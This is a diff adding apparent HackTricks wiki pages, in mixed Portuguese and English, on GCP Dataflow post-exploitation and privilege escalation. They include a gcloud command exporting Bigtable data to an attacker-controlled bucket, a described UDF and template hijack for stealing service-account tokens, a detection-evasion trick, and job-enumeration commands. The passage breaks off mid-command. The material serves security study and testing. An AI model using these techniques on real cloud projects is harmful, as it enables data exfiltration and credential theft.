diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md new file mode 100644 index 000000000..68e892ac1 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md @@ -0,0 +1,53 @@ +# GCP - Dataflow Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataflow + +Para mais informações sobre Dataflow, consulte: + +{{#ref}} +../gcp-services/gcp-dataflow-enum.md +{{#endref}} + +### Using Dataflow to exfiltrate data from other services + +**Permissões:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` (sobre uma SA com acesso à origem e ao destino) + +Com privilégios para criar jobs do Dataflow, você pode usar templates do GCP Dataflow para exportar dados do Bigtable, BigQuery, Pub/Sub e outros serviços para buckets GCS controlados pelo atacante. Isto é uma poderosa técnica de post-exploitation quando você obteve acesso ao Dataflow — por exemplo via o [Dataflow Rider](../gcp-privilege-escalation/gcp-dataflow-privesc.md) privilege escalation (pipeline takeover via bucket write). + +> [!NOTE] +> Você precisa de `iam.serviceAccounts.actAs` sobre uma conta de serviço com permissões suficientes para ler a origem e escrever no destino. Por padrão, a Compute Engine default SA é usada se não for especificada. + +#### Bigtable to GCS + +Veja [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md#dump-rows-to-your-bucket) — "Dump rows to your bucket" para o padrão completo. Templates: `Cloud_Bigtable_to_GCS_Json`, `Cloud_Bigtable_to_GCS_Parquet`, `Cloud_Bigtable_to_GCS_SequenceFile`. + +
+ +Export Bigtable to attacker-controlled bucket +```bash +gcloud dataflow jobs run \ +--gcs-location=gs://dataflow-templates-us-//Cloud_Bigtable_to_GCS_Json \ +--project= \ +--region= \ +--parameters=bigtableProjectId=,bigtableInstanceId=,bigtableTableId=,filenamePrefix=,outputDirectory=gs:///raw-json/ \ +--staging-location=gs:///staging/ +``` +
+ +#### BigQuery para GCS + +Templates do Dataflow existem para exportar dados do BigQuery. Use o template apropriado para o formato alvo (JSON, Avro, etc.) e aponte a saída para o seu bucket. + +#### Pub/Sub e fontes de streaming + +Pipelines de streaming podem ler do Pub/Sub (ou de outras fontes) e escrever no GCS. Inicie um job com um template que leia da subscription do Pub/Sub alvo e escreva no seu bucket controlado. + +## Referências + +- [Dataflow templates](https://cloud.google.com/dataflow/docs/guides/templates/provided-templates) +- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions) +- [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md new file mode 100644 index 000000000..77e96ccac --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md @@ -0,0 +1,170 @@ +# GCP - Dataflow Privilege Escalation + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataflow + +{{#ref}} +../gcp-services/gcp-dataflow-enum.md +{{#endref}} + +### `storage.objects.create`, `storage.objects.get`, `storage.objects.update` + +Dataflow não valida a integridade de UDFs e dos YAMLs de template de job armazenados no GCS. Com acesso de escrita ao bucket, você pode sobrescrever esses arquivos para injetar código, executar código nos workers, roubar tokens de service account ou alterar o processamento de dados. Tanto jobs de pipeline batch quanto streaming são alvos viáveis para este ataque. Para executar esse ataque em uma pipeline, precisamos substituir UDFs/templates antes do job rodar, durante os primeiros minutos (antes dos workers do job serem criados) ou durante a execução do job antes que novos workers sejam iniciados (devido ao autoscaling). + +**Attack vectors:** +- **UDF hijacking:** Python (`.py`) and JS (`.js`) UDFs referenced by pipelines and stored in customer-managed buckets +- **Job template hijacking:** Custom YAML pipeline definitions stored in customer-managed buckets + + +> [!WARNING] +> **Run-once-per-worker trick:** Dataflow UDFs e callables de template são invocados **por linha/registro**. Sem coordenação, exfiltração ou roubo de tokens seria executado milhares de vezes, causando ruído, limites de taxa e detecção. Use um padrão de **coordenação baseado em arquivo**: verifique se um arquivo marcador (por exemplo, `/tmp/pwnd.txt`) existe no início; se existir, pule o código malicioso; caso contrário, execute o payload e crie o arquivo. Isso garante que o payload seja executado **uma vez por worker**, não por linha. + + +#### Exploração direta via gcloud CLI + +1. Enumere os jobs do Dataflow e localize os caminhos GCS do template/UDF: + +
+ +Liste os jobs e execute describe para obter o caminho do template, staging location e referências de UDF +```bash +# List jobs (optionally filter by region) +gcloud dataflow jobs list --region= +gcloud dataflow jobs list --project= + +# Describe a job to get template GCS path, staging location, and any UDF/template references +gcloud dataflow jobs describe --region= --full --format="yaml" +# Look for: currentState, createTime, jobMetadata, type (JOB_TYPE_STREAMING or JOB_TYPE_BATCH) +# Pipeline options often include: tempLocation, stagingLocation, templateLocation, or flexTemplateGcsPath +``` +
+ +2. Baixe o UDF original ou o template de job do GCS: + +
+ +Baixe o arquivo UDF ou o template YAML do bucket +```bash +# If job references a UDF at gs://bucket/path/to/udf.py +gcloud storage cp gs:////.py ./udf_original.py + +# Or for a YAML job template +gcloud storage cp gs:////